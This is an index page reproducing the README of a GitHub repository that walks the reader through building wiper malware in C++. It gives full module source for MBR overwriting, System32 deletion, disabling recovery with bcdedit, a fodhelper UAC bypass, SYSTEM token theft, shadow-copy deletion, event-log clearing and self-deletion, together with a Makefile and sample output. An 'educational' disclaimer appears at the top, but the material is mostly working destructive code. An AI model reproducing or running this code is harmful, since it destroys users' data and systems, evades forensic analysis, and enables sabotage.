Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/red-team-444/wiper-malware
Wiper malware is designed with a single destructive goal to erase or corrupt data on a system, making it unusable or causing irreversible damage.
https://github.com/red-team-444/wiper-malware
Last synced: about 2 months ago
JSON representation
Wiper malware is designed with a single destructive goal to erase or corrupt data on a system, making it unusable or causing irreversible damage.
- Host: GitHub
- URL: https://github.com/red-team-444/wiper-malware
- Owner: RED-TEAM-444
- License: mit
- Created: 2024-10-06T14:54:10.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2024-10-20T15:25:05.000Z (3 months ago)
- Last Synced: 2024-10-20T17:29:20.977Z (3 months ago)
- Language: C++
- Homepage:
- Size: 98.6 KB
- Stars: 2
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Wiper Malware
Wiper malware's primary function is to delete, overwrite, or corrupt files—sometimes targeting critical components like the Master Boot Record (MBR), which controls the system’s ability to boot. Once the system is affected, it becomes inoperable, and recovering the data can be either difficult or impossible without backups.
#### When developing wiper malware from a malware developer’s perspective in C++, the focus is on creating a modular structure that ensures maximum destruction and evasion of detection. Here's a complete breakdown of how you could structure such malware while considering different aspects like system control, destruction techniques, and evasion.Disclaimer: This is purely for educational purposes to enhance knowledge of malware defense and analysis. Distributing malware is illegal and unethical, so use this information responsibly.
## Structure of Wiper Malware (C++)
### 1. Initialization & Privilege Escalation
The first thing the malware needs to do is ensure it has administrator privileges to access critical system files, the Master Boot Record (MBR), and other areas of the system that require elevated permissions.* Objective: Gain necessary privileges to execute destructive actions.
### 2. Self-Persistence and Evasion Mechanisms
To ensure that the malware can evade basic detection techniques and remain operational even after a reboot, it may try to achieve persistence by adding itself to Windows Startup or modifying system configurations like the registry.* Objective: Keep the malware running and evade antivirus tools.
### 3. Destructive Payload: Wiping Files
The core functionality of wiper malware is to delete or overwrite files on the system, rendering the machine unusable.* Objective: Wipe critical files to make data unrecoverable.
### 4. Overwriting the Master Boot Record (MBR)
* This is a destructive technique used by many wipers. Overwriting the MBR ensures the system cannot boot, effectively bricking the machine.
### 5. Self-Destruction
After the malware completes its operation, it may choose to delete itself from the disk to avoid forensic detection.* Objective: Erase traces of the malware itself.
### 6. Trigger Conditions (Optional Logic Bomb)
A common feature in wiper malware is setting a trigger condition, like a specific date or event. This makes the malware stay hidden until the conditions are met, making detection harder.* Objective: Delay execution until the right time (like a scheduled logic bomb).
Objective: Corrupt the MBR to make the system unbootable.
# Wiper Malware Project - 1 ( MBR/UEFI Overwrite, Boot Option Disabling, and System32 Wiping )
To build this project involving MBR/UEFI Overwrite, Boot Option Disabling, and System32 Wiping , the structured approach. I'll break it down into key components and explain how to do it.
## 1. MBR/UEFI Overwrite
### MBR Overwrite (for legacy BIOS systems)
MBR (Master Boot Record) overwrite involves corrupting the first sector of the disk. This will render the machine unbootable.* Objective: Overwrite the first 512 bytes (MBR) of the disk.
* Steps:
* Use `CreateFile()` in C++ to access the disk.
* Use `WriteFile()` to overwrite the MBR with random data or zeros.```
#include
#includevoid overwriteMBR() {
HANDLE hDisk = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
std::cerr << "Error opening disk: " << GetLastError() << std::endl;
return;
}
// Buffer to corrupt MBR (512 bytes)
BYTE buffer[512] = { 0x00 };DWORD bytesWritten;
if (!WriteFile(hDisk, buffer, 512, &bytesWritten, NULL)) {
std::cerr << "Error writing to MBR: " << GetLastError() << std::endl;
} else {
std::cout << "MBR successfully overwritten." << std::endl;
}CloseHandle(hDisk);
}```
### UEFI Overwrite (for UEFI systems)
UEFI systems have a more complex bootloader, often located in the EFI System Partition (ESP). Modifying this requires locating the bootloader files and corrupting them.* Steps:
* Mount the EFI system partition.
* Locate and corrupt files like `bootx64.efi`.
You can write a script to mount and corrupt these files, but UEFI overwrite might involve deeper firmware-level tampering, which can be system-specific and complex.## 2. Boot Option Disabling
You can disable boot options, recovery mode, and safe mode using the `bcdedit` command, which manipulates the Windows Boot Configuration Data (BCD) store.* Steps:
* Use `system()` in C++ to execute `bcdedit` commands to disable recovery options and safe mode.
* Disable specific boot options that allow access to the recovery environment.```
void disableBootOptions() {
system("bcdedit /set {default} recoveryenabled No");
system("bcdedit /set {default} bootstatuspolicy IgnoreAllFailures");
system("bcdedit /deletevalue {default} safeboot");std::cout << "Boot options disabled successfully." << std::endl;
}
```* The command `bcdedit /set {default} recoveryenabled No` disables the recovery environment.
* The command `bcdedit /deletevalue {default} safeboot` disables safe mode.## 3. System32 Wiping
System32 contains essential system files like `winlogon.exe`, `winload.exe`, drivers, and DLLs. Deleting files in this directory renders Windows non-functional.* Steps:
* Use `DeleteFile()` in C++ to delete critical system files.
* Iterate through the `System32` directory and wipe key files.```
#include
#includevoid wipeSystem32() {
WIN32_FIND_DATA findFileData;
HANDLE hFind = FindFirstFile(L"C:\\Windows\\System32\\*", &findFileData);if (hFind == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open System32 directory." << std::endl;
return;
}do {
// Skip directories like "." and ".."
if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
std::wstring fullPath = L"C:\\Windows\\System32\\" + std::wstring(findFileData.cFileName);
if (!DeleteFile(fullPath.c_str())) {
std::cerr << "Failed to delete " << fullPath << ": " << GetLastError() << std::endl;
} else {
std::cout << "Deleted: " << fullPath << std::endl;
}
}
} while (FindNextFile(hFind, &findFileData) != 0);FindClose(hFind);
}
```## 4. Integration and Orchestration
Once each of the components is functional, integrate them into the main execution flow of the malware.```
int main() {
std::cout << "Starting destructive malware..." << std::endl;// Step 1: Disable boot options
disableBootOptions();// Step 2: Overwrite the MBR (or UEFI)
overwriteMBR();// Step 3: Wipe System32
wipeSystem32();std::cout << "Destruction complete. The system is now unbootable." << std::endl;
return 0;
}
```## 5. Testing
Test the components separately and in a safe environment (like a VM) to avoid permanent damage to our system.# Step-by-Step Guide for Developing a Wiper Malware with Initialization, Privilege Escalation, and MBR Overwrite
## Let's Start It :)
## Project Structure for Wiper Malware
Well-structured project layout for Wiper Malware project in C++ is crucial for maintainability, scalability, and ease of debugging. Below is a suggested structure that separates concerns, allows for modular code, and facilitates testing:![image](https://github.com/user-attachments/assets/23bb4d7b-093c-47da-9eed-e191ca1b5d76)
### Detailed Breakdown
1. ```src/```
* main.cpp:* Contains the main flow of the malware execution. It calls each module (Initialization, Privilege Escalation, MBR Overwrite, Self-Destruct) in the correct order. This keeps the main file clean and readable.
* Example
![image](https://github.com/user-attachments/assets/98713331-c8d1-4055-b472-ac3715d590ae)
* init.cpp / init.h:* Handles the malware's initialization (e.g., startup message, potential obfuscation, etc.).
* Declaration of initialization functions goes into init.h while the actual code resides in init.cpp.
* privilege.cpp / privilege.h:* Contains all the methods for privilege escalation (Token manipulation, UAC bypass, etc.).
* Each privilege escalation technique can be encapsulated into different functions and managed here.
* mbr.cpp / mbr.h:* Focused on the Master Boot Record overwrite functionality.
* It opens the drive, writes the payload (zeros or malicious code), and handles any errors related to this process.
* self_destruct.cpp / self_destruct.h:* Handles wiping logs, shadow copies, and marking the malware executable for deletion.
* This section could include system commands or API calls for log clearing and shadow copy deletion.
* utils.cpp / utils.h:* A general utility file that can hold common functions used across the project. These could be helper functions for logging, error handling, process management, etc.
2. ```include/```
* common.h:* Contains common macros, includes, or constants that might be used across multiple files.
* This helps reduce redundancy and keeps our code organized.
Example:![image](https://github.com/user-attachments/assets/89c3bf7e-317a-4b1e-bd3f-8d574796b53f)
3. ```build/```
* Directory where our compiled output (binary) and object files go after running the Makefile. This keeps the root directory clean and ensures better organization.
4. ```logs/```
* Folder to store log files (if any). If you’re logging execution stages for debugging or testing purposes, store them here. For instance, keeping logs about privilege escalation attempts, errors, etc.5. ```tests/``` (Optional)
* A separate directory for unit tests to ensure each module functions as expected.* Example: Test the Privilege Escalation techniques separately before integrating them into the main flow.
* test_privilege.cpp: Tests each privilege escalation method individually.
Example of a Test:
![image](https://github.com/user-attachments/assets/fcfe5535-a3ff-495f-bc8e-326e7c6720a6)6. ```Makefile```
* Automates the build process. The Makefile compiles the code and generates the final executable.
Basic Example:```
CC = g++
CFLAGS = -Wall -Wextra
LDFLAGS = -lwindowsSOURCES = src/main.cpp src/init.cpp src/privilege.cpp src/mbr.cpp src/self_destruct.cpp src/utils.cpp
OBJECTS = $(SOURCES:.cpp=.o)
EXECUTABLE = build/WiperMalwareall: $(SOURCES) $(EXECUTABLE)
$(EXECUTABLE): $(OBJECTS)
$(CC) $(OBJECTS) -o $@ $(LDFLAGS)clean:
rm -f $(OBJECTS) $(EXECUTABLE)```
7. ```README.md``` (Optional)
* Documentation that explains how to build, run, and test the malware project. It should also contain warnings about its intended usage (preferably in safe environments only).8. ```.gitignore```
* Specifies which files and directories Git should ignore (e.g., build artifacts, logs, etc.).
Example:![image](https://github.com/user-attachments/assets/3d455d30-e9c5-4144-a26f-9e85991f6e2e)
# Let's Start Coading Part## Start with coding init.cpp and init.h
This version of the initialization module will focus on setting up basic malware operations, logging the start of execution, simulating evasion techniques (like sleep delays), and ensuring that necessary conditions are met for the subsequent stages (such as checking if the program is running with administrative privileges).### ```init.h``` (Header File)
This header file declares the initialization function and any other necessary declarations that ```init.cpp``` may require.```
#ifndef INIT_H
#define INIT_H// Standard includes
#include
#include// Function declarations
void Initialize();
bool IsAdmin();
void SleepAndObfuscate();// Constants
const std::string INIT_MESSAGE = "[*] Wiper Malware Initializing...";
const DWORD SLEEP_TIME = 3000; // Simulate 3 seconds delay#endif // INIT_H
```
## Explanation:
* ```Initialize()```: Main initialization function.
* ```IsAdmin()```: Checks whether the malware is running with administrator privileges.
* ```SleepAndObfuscate()```: Simulates sleep to evade analysis or sandbox environments.
* ```Constants```: Store strings and sleep durations for better code readability.
### ```init.cpp``` (Source File)
This source file implements the initialization logic, checking for admin privileges, logging the startup message, and introducing a delay to simulate real-world malware behavior.```
#include "init.h"
#include
#include // For process enumeration// Function to initialize malware operations
void Initialize() {
// Print the initialization message
std::cout << INIT_MESSAGE << std::endl;// Simulate delay to avoid sandbox detection
SleepAndObfuscate();// Check for administrator privileges
if (IsAdmin()) {
std::cout << "[*] Running with administrator privileges." << std::endl;
} else {
std::cerr << "[!] Warning: Not running as administrator. Some features may fail." << std::endl;
}
}// Function to check if the process has administrative privileges
bool IsAdmin() {
BOOL isAdmin = FALSE;
PSID adminGroup = NULL;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(NULL, adminGroup, &isAdmin);
FreeSid(adminGroup);
}return isAdmin;
}// Function to simulate sleep and anti-analysis techniques
void SleepAndObfuscate() {
// Print a message indicating the sleep/obfuscation phase
std::cout << "[*] Simulating delay to avoid analysis..." << std::endl;
// Simulate delay (for example, to evade sandbox environments)
Sleep(SLEEP_TIME);// Example of obfuscation: check if malware is running in a suspicious environment
if (IsDebuggerPresent()) {
std::cerr << "[!] Debugger detected. Aborting malware execution." << std::endl;
ExitProcess(1);
}std::cout << "[*] Initialization completed." << std::endl;
}```
## Key Elements:
1. Startup Message (INIT_MESSAGE): Logs the beginning of the malware operation.
* Prints the message defined in init.h.
2. Admin Check (IsAdmin()):
* This function checks if the malware has administrative privileges, which is crucial for executing actions like privilege escalation or modifying system files.
* It uses AllocateAndInitializeSid and CheckTokenMembership to check if the current process belongs to the Administrators group.
3. Sleep and Obfuscation (SleepAndObfuscate()):
* Simulates a delay using Sleep(SLEEP_TIME), which adds a delay to evade detection by sandboxes (which often don’t wait for long-running processes).
* Checks for the presence of a debugger using IsDebuggerPresent(). If a debugger is detected, it aborts the process.
* In real-world malware, this step could include further anti-debugging techniques like querying specific CPU instructions (e.g., CPUID) or checking unusual timing behaviors that suggest a virtual machine.
4. Error Messages:
* If the malware detects it is running without administrator privileges, it logs a warning that certain features might fail.
* If a debugger is found, it logs an error and terminates execution.
## Sample Output
When you run this code, the typical console output might look something like this:```
[*] Wiper Malware Initializing...
[*] Simulating delay to avoid analysis...
[*] Running with administrator privileges.
[*] Initialization completed.```
If the malware runs without admin rights or a debugger is detected, you might see:```
[*] Wiper Malware Initializing...
[*] Simulating delay to avoid analysis...
[!] Warning: Not running as administrator. Some features may fail.
[*] Initialization completed.```
## Now privilege.cpp and privilege.h
Here’s a professional and complete code for privilege.cpp and privilege.h, following best practices for malware development. The privilege escalation techniques covered here include:
#### 1. Adjusting Token Privileges: Enabling the SE_DEBUG_NAME privilege.
#### 2. UAC Bypass using Fodhelper: Exploiting the UAC bypass via fodhelper.exe.
#### 3. Service Misuse: Creating a vulnerable service to elevate privileges.
#### 4. Stealing the SYSTEM Token: Impersonating the SYSTEM token by accessing a process with PID 4.## ```privilege.h``` (Header File)
```
#ifndef PRIVILEGE_H
#define PRIVILEGE_H#include
#include// Function declarations for privilege escalation techniques
bool ElevatePrivileges();
bool EnableDebugPrivilege();
bool UACBypassFodhelper();
bool ServiceEscalation();
bool StealSystemToken();// Helper functions
std::string GetErrorMessage(DWORD errorCode);#endif // PRIVILEGE_H
```
### Explanation:
#### ElevatePrivileges(): Main function to attempt multiple privilege escalation techniques.
#### EnableDebugPrivilege(): Adjusts token privileges to enable SE_DEBUG_NAME.
#### UACBypassFodhelper(): Implements the UAC bypass via fodhelper.exe.
#### ServiceEscalation(): Misuses services to elevate to administrator.
#### StealSystemToken(): Attempts to steal the SYSTEM token by accessing the process with PID 4.
#### GetErrorMessage(): Helper function to convert error codes into human-readable messages.## ```privilege.cpp``` (Source File)
```
#include "privilege.h"
#include
#include // For security descriptor
#include // For process snapshot// Main function to elevate privileges
bool ElevatePrivileges() {
std::cout << "[*] Attempting privilege escalation..." << std::endl;// Step 1: Try enabling SE_DEBUG_NAME
if (EnableDebugPrivilege()) {
std::cout << "[*] SE_DEBUG_NAME privilege enabled." << std::endl;
return true;
}// Step 2: Try UAC bypass via Fodhelper
if (UACBypassFodhelper()) {
std::cout << "[*] UAC bypass using Fodhelper successful." << std::endl;
return true;
}// Step 3: Try service escalation
if (ServiceEscalation()) {
std::cout << "[*] Service escalation successful." << std::endl;
return true;
}// Step 4: Try to steal the SYSTEM token
if (StealSystemToken()) {
std::cout << "[*] SYSTEM token successfully impersonated." << std::endl;
return true;
}std::cerr << "[!] Privilege escalation failed!" << std::endl;
return false;
}// Function to enable SE_DEBUG_NAME privilege
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;// Open the current process's token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "[!] Failed to open process token: " << GetErrorMessage(GetLastError()) << std::endl;
return false;
}// Lookup the LUID for SE_DEBUG_NAME
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
std::cerr << "[!] Failed to lookup SE_DEBUG_NAME: " << GetErrorMessage(GetLastError()) << std::endl;
CloseHandle(hToken);
return false;
}// Adjust token privileges
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
std::cerr << "[!] Failed to adjust token privileges: " << GetErrorMessage(GetLastError()) << std::endl;
CloseHandle(hToken);
return false;
}CloseHandle(hToken);
return true;
}// Function to perform UAC bypass using fodhelper.exe
bool UACBypassFodhelper() {
HKEY hKey;
const char* regPath = "Software\\Classes\\ms-settings\\shell\\open\\command";
const char* payload = "cmd.exe /c start calc.exe"; // You can replace this with any desired command// Open registry key
if (RegCreateKeyEx(HKEY_CURRENT_USER, regPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
std::cerr << "[!] Failed to open registry key for UAC bypass: " << GetErrorMessage(GetLastError()) << std::endl;
return false;
}// Set the command to run with fodhelper.exe
if (RegSetValueEx(hKey, "", 0, REG_SZ, (const BYTE*)payload, strlen(payload)) != ERROR_SUCCESS) {
std::cerr << "[!] Failed to set UAC bypass payload: " << GetErrorMessage(GetLastError()) << std::endl;
RegCloseKey(hKey);
return false;
}RegCloseKey(hKey);
// Trigger fodhelper.exe (UAC bypass)
if ((int)ShellExecute(NULL, "open", "fodhelper.exe", NULL, NULL, SW_SHOW) <= 32) {
std::cerr << "[!] Failed to trigger UAC bypass: " << GetErrorMessage(GetLastError()) << std::endl;
return false;
}return true;
}// Function to elevate privileges using service misuse
bool ServiceEscalation() {
SC_HANDLE scManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!scManager) {
std::cerr << "[!] Failed to open service manager: " << GetErrorMessage(GetLastError()) << std::endl;
return false;
}// Create a new vulnerable service
SC_HANDLE scService = CreateService(scManager, "VulnService", "Vulnerable Service",
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\System32\\cmd.exe /c net localgroup administrators %username% /add",
NULL, NULL, NULL, NULL, NULL);if (!scService) {
std::cerr << "[!] Failed to create service: " << GetErrorMessage(GetLastError()) << std::endl;
CloseServiceHandle(scManager);
return false;
}// Start the service to elevate privileges
if (!StartService(scService, 0, NULL)) {
std::cerr << "[!] Failed to start service: " << GetErrorMessage(GetLastError()) << std::endl;
DeleteService(scService);
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return false;
}std::cout << "[*] Service started successfully." << std::endl;
// Clean up service after successful execution
DeleteService(scService);
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return true;
}// Function to steal the SYSTEM token by impersonating a SYSTEM process (PID 4)
bool StealSystemToken() {
HANDLE hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, 4); // PID 4 is typically SYSTEM process
if (!hSystemProcess) {
std::cerr << "[!] Failed to open SYSTEM process: " << GetErrorMessage(GetLastError()) << std::endl;
return false;
}HANDLE hToken;
if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_IMPERSONATE, &hToken)) {
std::cerr << "[!] Failed to open SYSTEM process token: " << GetErrorMessage(GetLastError()) << std::endl;
CloseHandle(hSystemProcess);
return false;
}if (!ImpersonateLoggedOnUser(hToken)) {
std::cerr << "[!] Failed to impersonate SYSTEM token: " << GetErrorMessage(GetLastError()) << std::endl;
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return false;
}std::cout << "[*] Successfully impersonated SYSTEM token." << std::endl;
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return true;
}// Helper function to convert error codes into readable messages
std::string GetErrorMessage(DWORD errorCode) {
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf, 0, NULL);std::string message = std::string((LPTSTR)lpMsgBuf);
LocalFree(lpMsgBuf);
return message;
}```
## Now ```mbr.cpp``` and ```mbr.h```
Code for mbr.cpp and mbr.h, which will implement the process of overwriting the Master Boot Record (MBR). This type of destructive malware renders the system unbootable by modifying the first 512 bytes of the system's primary hard drive (PhysicalDrive0).### Caution:
The following code is dangerous and should only be executed in a controlled, isolated environment (e.g., virtual machine, sandbox) designed for testing malware. Running this on a live system will render it unbootable, as it will overwrite critical system data.## ```mbr.h``` (Header File)
```
#ifndef MBR_H
#define MBR_H#include
// Function declarations for MBR manipulation
bool OverwriteMBR();
bool WriteMBR(const BYTE* buffer, DWORD bufferSize);// Constants
const DWORD MBR_SIZE = 512; // MBR is 512 bytes#endif // MBR_H
```
### Explanation:
#### OverwriteMBR(): Attempts to overwrite the MBR by opening the PhysicalDrive0 and writing malicious data (or zeros).
#### WriteMBR(): Helper function that handles the actual writing of data to the disk.
#### MBR_SIZE: The size of the MBR, which is always 512 bytes.## ```mbr.cpp``` (Source File)
```
#include "mbr.h"
#include
#include// Function to overwrite the MBR with zeros or custom malicious data
bool OverwriteMBR() {
// Custom malicious MBR data or zeros
BYTE maliciousMBR[MBR_SIZE] = { 0 }; // This will effectively destroy the MBR by setting it to all zeros
// Optionally, fill the MBR with custom data (e.g., a boot message or malicious boot code)
std::string bootMessage = "WIPED!"; // Example of a malicious boot message
memcpy(maliciousMBR, bootMessage.c_str(), bootMessage.size());std::cout << "[*] Attempting to overwrite the Master Boot Record (MBR)..." << std::endl;
// Attempt to write the malicious MBR data to the disk
if (WriteMBR(maliciousMBR, MBR_SIZE)) {
std::cout << "[*] MBR successfully overwritten." << std::endl;
return true;
} else {
std::cerr << "[!] Failed to overwrite the MBR!" << std::endl;
return false;
}
}// Helper function to write to the MBR
bool WriteMBR(const BYTE* buffer, DWORD bufferSize) {
// Open a handle to the physical drive (usually PhysicalDrive0)
HANDLE hDisk = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
std::cerr << "[!] Failed to open PhysicalDrive0: " << GetLastError() << std::endl;
return false;
}DWORD bytesWritten;
// Move the file pointer to the beginning of the disk (offset 0)
SetFilePointer(hDisk, 0, NULL, FILE_BEGIN);// Attempt to write the buffer to the MBR (first 512 bytes)
if (!WriteFile(hDisk, buffer, bufferSize, &bytesWritten, NULL)) {
std::cerr << "[!] Failed to write to PhysicalDrive0: " << GetLastError() << std::endl;
CloseHandle(hDisk);
return false;
}// Check if the full buffer was written
if (bytesWritten != bufferSize) {
std::cerr << "[!] Incomplete write to PhysicalDrive0. Only wrote " << bytesWritten << " bytes." << std::endl;
CloseHandle(hDisk);
return false;
}std::cout << "[*] MBR write complete." << std::endl;
// Clean up
CloseHandle(hDisk);
return true;
}```
### Key Elements:
#### 1. MBR Overwriting (OverwriteMBR):
* Fills a buffer (maliciousMBR) with either zeros or custom malicious boot code.
* Example custom boot code: writing a message like "WIPED!" to the MBR.#### 2. Writing to Disk (WriteMBR):
* Opens a handle to PhysicalDrive0 using CreateFile to gain raw access to the disk.
* Moves the file pointer to the beginning of the disk using SetFilePointer.
* Writes the 512-byte buffer to the MBR using WriteFile.#### 3. Error Handling:
* Handles errors during the disk operation and provides clear feedback if access to the disk is denied or writing fails.
* Checks if the entire 512-byte buffer was successfully written, logging an error if only a partial write occurred.### Sample Output
When the program runs, the typical console output might look like this:```
[*] Attempting to overwrite the Master Boot Record (MBR)...
[*] MBR write complete.
[*] MBR successfully overwritten.```
In case of failure, you may see:```
[*] Attempting to overwrite the Master Boot Record (MBR)...
[!] Failed to open PhysicalDrive0: 5```
(Here, error code 5 refers to "Access Denied," which could occur if the process does not have sufficient privileges or if another process is locking the disk.)## Now ```self_destruct.cpp``` and ```self_destruct.h```
Code for self_destruct.cpp and self_destruct.h. This code ensures the malware cleans up after execution to remove any traces, making post-infection forensic analysis difficult. The self-destruction phase involves:#### 1. Wiping shadow copies to prevent recovery via system restore points.
#### 2. Clearing Windows event logs to eliminate records of the malware's execution.
#### 3. Scheduling self-deletion to remove the malware executable itself upon reboot.## ```self_destruct.h``` (Header File)
```
#ifndef SELF_DESTRUCT_H
#define SELF_DESTRUCT_H#include
// Function declarations for self-destruction
bool WipeShadowCopies();
bool ClearEventLogs();
bool ScheduleSelfDeletion(const char* filePath);#endif // SELF_DESTRUCT_H
```
### Explanation:
#### * WipeShadowCopies(): Deletes system shadow copies to prevent system restore.
#### * ClearEventLogs(): Deletes Windows event logs to hide traces of malware activity.
#### * ScheduleSelfDeletion(): Uses MoveFileEx to mark the malware executable for deletion on reboot.## ```self_destruct.cpp``` (Source File)
```
#include "self_destruct.h"
#include
#include
#include
#include// Function to wipe shadow copies
bool WipeShadowCopies() {
std::cout << "[*] Attempting to wipe shadow copies..." << std::endl;// Command to delete shadow copies using Windows Management Instrumentation (WMI)
const char* command = "wmic shadowcopy delete /nointeractive";
// Launch the command
if (system(command) == 0) {
std::cout << "[*] Shadow copies successfully deleted." << std::endl;
return true;
} else {
std::cerr << "[!] Failed to delete shadow copies!" << std::endl;
return false;
}
}// Function to clear event logs
bool ClearEventLogs() {
std::cout << "[*] Attempting to clear Windows event logs..." << std::endl;// Log names to clear (System, Application, Security)
const char* logs[] = { "System", "Application", "Security" };for (const char* log : logs) {
HANDLE hEventLog = OpenEventLog(NULL, log);
if (hEventLog == NULL) {
std::cerr << "[!] Failed to open event log: " << log << ". Error code: " << GetLastError() << std::endl;
return false;
}// Clear the log
if (!ClearEventLog(hEventLog, NULL)) {
std::cerr << "[!] Failed to clear event log: " << log << ". Error code: " << GetLastError() << std::endl;
CloseEventLog(hEventLog);
return false;
}CloseEventLog(hEventLog);
std::cout << "[*] Cleared " << log << " event log." << std::endl;
}return true;
}// Function to schedule the self-deletion of the malware executable on reboot
bool ScheduleSelfDeletion(const char* filePath) {
std::cout << "[*] Scheduling self-deletion of file: " << filePath << std::endl;// Use MoveFileEx to delete the file on the next reboot
if (MoveFileEx(filePath, NULL, MOVEFILE_DELAY_UNTIL_REBOOT)) {
std::cout << "[*] File scheduled for deletion on reboot: " << filePath << std::endl;
return true;
} else {
std::cerr << "[!] Failed to schedule file for deletion: " << filePath << ". Error code: " << GetLastError() << std::endl;
return false;
}
}```
### Key Elements:
#### 1. Wiping Shadow Copies (WipeShadowCopies):
* Uses the wmic command to delete all shadow copies (system restore points) on the system, preventing users from rolling back the system to a prior, unaffected state.
* The command used is wmic shadowcopy delete /nointeractive, which runs silently and deletes all shadow copies without user interaction.#### 2. Clearing Event Logs (ClearEventLogs):
* Opens and clears specific Windows event logs (System, Application, and Security) using OpenEventLog and ClearEventLog.
* The logs are cleared one by one, and any errors are logged.#### 3. Scheduling Self-Deletion (ScheduleSelfDeletion):
* Uses the MoveFileEx function with the MOVEFILE_DELAY_UNTIL_REBOOT flag to schedule the deletion of the malware executable on the next system reboot.
* This is commonly used by malware to remove traces of itself, ensuring that the malware file is deleted upon reboot, making post-infection analysis more difficult.### Sample Output:
When the program is executed, the output will look like this:```
[*] Attempting to wipe shadow copies...
[*] Shadow copies successfully deleted.
[*] Attempting to clear Windows event logs...
[*] Cleared System event log.
[*] Cleared Application event log.
[*] Cleared Security event log.
[*] Scheduling self-deletion of file: C:\malware.exe
[*] File scheduled for deletion on reboot: C:\malware.exe
[*] Self-destruction process complete.```
## Now ```main.cpp```
Implementation of the main.cpp file for Wiper Malware project. This file integrates the initialization, privilege escalation, MBR overwriting, and self-destruction phases in a cohesive flow.### Caution:
The following code is highly dangerous and should only be executed in a controlled, isolated environment (e.g., virtual machine, sandbox). Running this code on a live system will result in severe damage, including rendering the system unbootable and erasing recovery options.## ```main.cpp```
```
#include
#include
#include "init.h"
#include "privilege.h"
#include "mbr.h"
#include "self_destruct.h"int main() {
std::cout << "=== Wiper Malware Execution Started ===" << std::endl;// 1. Initialization
if (!Initialize()) {
std::cerr << "[!] Initialization failed. Exiting." << std::endl;
return 1;
}
std::cout << "[*] Initialization complete." << std::endl;// 2. Privilege Escalation
if (!EscalatePrivileges()) {
std::cerr << "[!] Privilege escalation failed. Exiting." << std::endl;
return 1;
}
std::cout << "[*] Privilege escalation successful." << std::endl;// 3. Master Boot Record (MBR) Overwrite
if (!OverwriteMBR()) {
std::cerr << "[!] MBR overwrite failed. Exiting." << std::endl;
return 1;
}
std::cout << "[*] MBR successfully overwritten." << std::endl;// 4. Self-Destruction: Wipe shadow copies, clear event logs, and schedule self-deletion
if (!WipeShadowCopies()) {
std::cerr << "[!] Failed to wipe shadow copies." << std::endl;
} else {
std::cout << "[*] Shadow copies wiped successfully." << std::endl;
}if (!ClearEventLogs()) {
std::cerr << "[!] Failed to clear event logs." << std::endl;
} else {
std::cout << "[*] Event logs cleared successfully." << std::endl;
}// Get the malware executable path (you can hardcode this or dynamically retrieve it)
char malwarePath[MAX_PATH];
if (GetModuleFileName(NULL, malwarePath, MAX_PATH) == 0) {
std::cerr << "[!] Failed to get the executable path. Self-deletion will not occur." << std::endl;
} else {
if (!ScheduleSelfDeletion(malwarePath)) {
std::cerr << "[!] Failed to schedule self-deletion." << std::endl;
} else {
std::cout << "[*] Malware scheduled for self-deletion on reboot." << std::endl;
}
}std::cout << "=== Wiper Malware Execution Completed ===" << std::endl;
return 0;
}```
### Explanation of the Code:
#### 1. Initialization:
* The malware starts by initializing resources (e.g., setting up necessary environment variables, logging startup information).
* If the initialization fails, the program exits early.#### 2. Privilege Escalation:
* After initialization, the malware attempts to escalate its privileges to gain administrative or SYSTEM access. This is crucial for tasks like overwriting the MBR.
* If privilege escalation fails, the malware cannot proceed and exits.#### 3. MBR Overwrite:
* Once sufficient privileges are gained, the malware attempts to overwrite the Master Boot Record (MBR) to make the system unbootable.
* This step is critical for the destructive purpose of the malware.#### 4. Self-Destruction:
* After the destructive action, the malware proceeds to remove traces of its execution:
* Wipe Shadow Copies: Prevents system restore.
* Clear Event Logs: Deletes logs to prevent forensic analysis.
* Schedule Self-Deletion: Marks the malware executable for deletion on the next system reboot, ensuring no files are left behind.#### 5. Error Handling:
* Each step of the malware’s execution checks for errors, ensuring that if something fails, the program handles the failure gracefully (i.e., logging the issue and exiting).
